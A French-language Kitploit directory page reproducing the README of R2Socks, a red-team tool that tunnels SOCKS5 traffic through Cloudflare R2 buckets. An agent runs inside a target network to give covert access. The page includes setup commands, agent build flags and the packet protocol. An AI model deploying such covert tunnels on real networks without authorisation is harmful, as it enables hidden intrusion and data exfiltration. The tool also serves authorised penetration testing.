Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
R2Socks — Proxy SOCKS5 tunnellisé via le stockage objet Cloudflare R2, avec des agents Python et C++ sans dépendances relayant le trafic TCP via des objets R2 chiffrés pour un accès dissimulé. | Kitploit
Outils/GitHubGitHub/ivancabrera02/r2socks
Outils de Chiffrement/DéchiffrementExfiltration de DonnéesPost-ExploitationSécurité RéseauTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubivancabrera02/r2socks

R2Socks

Proxy SOCKS5 tunnellisé via le stockage objet Cloudflare R2, avec des agents Python et C++ sans dépendances relayant le trafic TCP via des objets R2 chiffrés pour un accès dissimulé.

316il y a 17 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

R2Socks

Tunnel proxy SOCKS5 acheminé via des buckets Cloudflare R2.

root@kitploit:~
[Client App] ◄─SOCKS5─► [Proxy] ◄─── R2 Bucket ───► [Agent] ◄─TCP─► [Target]

Le proxy exécute un serveur SOCKS5 local sur la machine de l'opérateur. Chaque requête CONNECT est sérialisée sous forme de paquets binaires et stockée en tant qu'objets R2. L'agent interroge le même bucket depuis le réseau cible, récupère les demandes de connexion, établit de véritables connexions TCP et relaie les données via R2.

Composants

ComposantLangageFichierDescription
ProxyPythonr2socks.pyServeur SOCKS5 (côté opérateur)
AgentPythonr2socks.pyRelais côté cible (mode agent)
AgentC++r2agent.cppAgent Windows autonome, zéro dépendance

L'agent C++ est compatible au niveau du protocole avec le proxy Python. Il utilise uniquement des API natives Windows (WinHTTP, bcrypt, Winsock2), aucune bibliothèque externe requise.

Démarrage rapide

1. Créer un bucket R2

  1. Accédez au Cloudflare Dashboard → R2 Object Storage
  2. Cliquez sur Create bucket et donnez-lui un nom
  3. Notez votre Account ID à partir de l'URL : dash.cloudflare.com/<ACCOUNT_ID>/r2/...

2. Créer un token API R2

  1. Dans R2 → Manage R2 API Tokens → Create API Token
  2. Définissez les permissions sur Object Read & Write
  3. Sélectionnez votre bucket (ou tous les buckets)
  4. Copiez l'Access Key ID et la Secret Access Key (affichés une seule fois)

3. Démarrer le proxy

root@kitploit:~
pip install boto3
python r2socks.py proxy -b my-bucket -a <account_id> \
    --access-key <R2_ACCESS_KEY> --secret-key <R2_SECRET_KEY>

Le proxy génère un channel ID et affiche la commande pour démarrer l'agent.

4. Démarrer l'agent

Agent Python :

root@kitploit:~
python r2socks.py agent -b my-bucket -a <account_id> -c <channel_id> \
    --access-key <R2_ACCESS_KEY> --secret-key <R2_SECRET_KEY>

Agent C++ (Windows) :

root@kitploit:~
.\r2agent.exe -b my-bucket -a <account_id> -c <channel_id> -k <access_key> -s <secret_key>

Utilisation

Proxy (côté opérateur)

root@kitploit:~
python r2socks.py proxy [options]

Required:
  -b, --bucket BUCKET         R2 bucket name
  -a, --account-id ID         Cloudflare account ID

Optional:
  -c, --channel ID            Channel ID (auto-generated if omitted)
  -l, --listen ADDR           Listen address (default: 127.0.0.1:1080)
  --access-key KEY            R2 API token Access Key ID
  --secret-key KEY            R2 API token Secret Access Key
  --socks-user USER           Enable SOCKS5 user/pass authentication
  --socks-pass PASS           SOCKS5 password
  -p, --password PWD          AES-256-GCM encryption password
  -v, --verbose               Debug logging

Agent (côté cible)

Python :

root@kitploit:~
python r2socks.py agent [options]

Required:
  -b, --bucket BUCKET         R2 bucket name
  -a, --account-id ID         Cloudflare account ID
  -c, --channel ID            Channel ID (from proxy output)

C++ (Windows) :

root@kitploit:~
r2agent.exe [options]

Required:
  -b, --bucket BUCKET         R2 bucket name
  -a, --account-id ID         Cloudflare account ID
  -c, --channel ID            Channel ID (from proxy output)

Credentials (flags override env vars):
  -k, --access-key KEY        R2 API token Access Key ID
  -s, --secret-key KEY        R2 API token Secret Access Key

Optional:
  -v, --verbose               Debug logging

Nettoyage

Supprimez tous les objets R2 d'un channel une fois terminé :

root@kitploit:~
python r2socks.py clean -b my-bucket -a <account_id> -c <channel_id>

Protocole

Format de paquet binaire partagé entre le proxy et l'agent :

root@kitploit:~
┌──────────┬────────────────────┬────────────┬──────────────────┐
│ CMD (1B) │ ConnectionID (16B) │ Len (4B BE)│ Payload (var)    │
└──────────┴────────────────────┴────────────┴──────────────────┘

Plusieurs paquets sont regroupés en un seul objet R2 (jusqu'à 4 Mo) afin de réduire les appels API. Les objets sont nommés avec des horodatages à la microseconde pour l'ordonnancement et supprimés après consommation.

Chiffrement

Chiffrement AES-256-GCM optionnel pour toutes les charges utiles R2 :

root@kitploit:~
pip install cryptography

# Both sides must use the same password
python r2socks.py proxy -b bucket -a account_id -p "my-secret-password"
python r2socks.py agent -b bucket -a account_id -c channel -p "my-secret-password"

La clé est dérivée à l'aide de PBKDF2-SHA256 avec 600 000 itérations.

Compilation de l'agent C++

Depuis un Visual Studio Developer Command Prompt :

root@kitploit:~
cl /std:c++17 /EHsc /O2 r2agent.cpp /link ws2_32.lib winhttp.lib bcrypt.lib

Interrogation adaptative

Le proxy et l'agent utilisent des intervalles de veille adaptatifs :

  • Trafic actif : interrogation toutes les 50 ms pour une faible latence
  • Inactif : l'intervalle augmente de 1,3x à chaque cycle, jusqu'à un maximum de 2 secondes
  • Reprise du trafic : l'intervalle diminue de 0,5x, revenant rapidement à 50 ms

Cela équilibre la réactivité par rapport au volume d'appels API. Les statistiques sont journalisées toutes les 30 secondes, affichant les connexions actives, les objets transférés et les octets déplacés.

Dépannage

SignatureDoesNotMatch

  • Vérifiez que les identifiants de votre token API R2 sont corrects
  • Assurez-vous que le token dispose des permissions Object Read & Write sur le bucket
  • Vérifiez l'horloge système : w32tm /resync /force (Windows) ou sudo ntpdate pool.ntp.org (Linux)

RequestTimeTooSkewed

  • L'horloge système est désynchronisée. Synchronisez-la :
    root@kitploit:~
    w32tm /resync /force
    

AccessDenied

  • Le token API peut ne pas disposer des permissions sur le bucket cible
  • Régénérez le token avec Object Read & Write sur le bon bucket

Prérequis

Proxy (Python) :

  • Python 3.8+
  • boto3 (requis)
  • cryptography (optionnel, pour le chiffrement)

Agent (C++) :

  • Windows 10/11
  • Aucune dépendance d'exécution
Télécharger l’outil
CommandeCodeDirectionPayload
NEW0x01Proxy→AgentATYP + Address + Port
ACK0x02Agent→Proxy1 byte status (0=success)
DATA0x03BidirectionalRaw TCP data (up to 1MB)
CLOSE0x04BidirectionalEmpty
PING0x05BidirectionalEmpty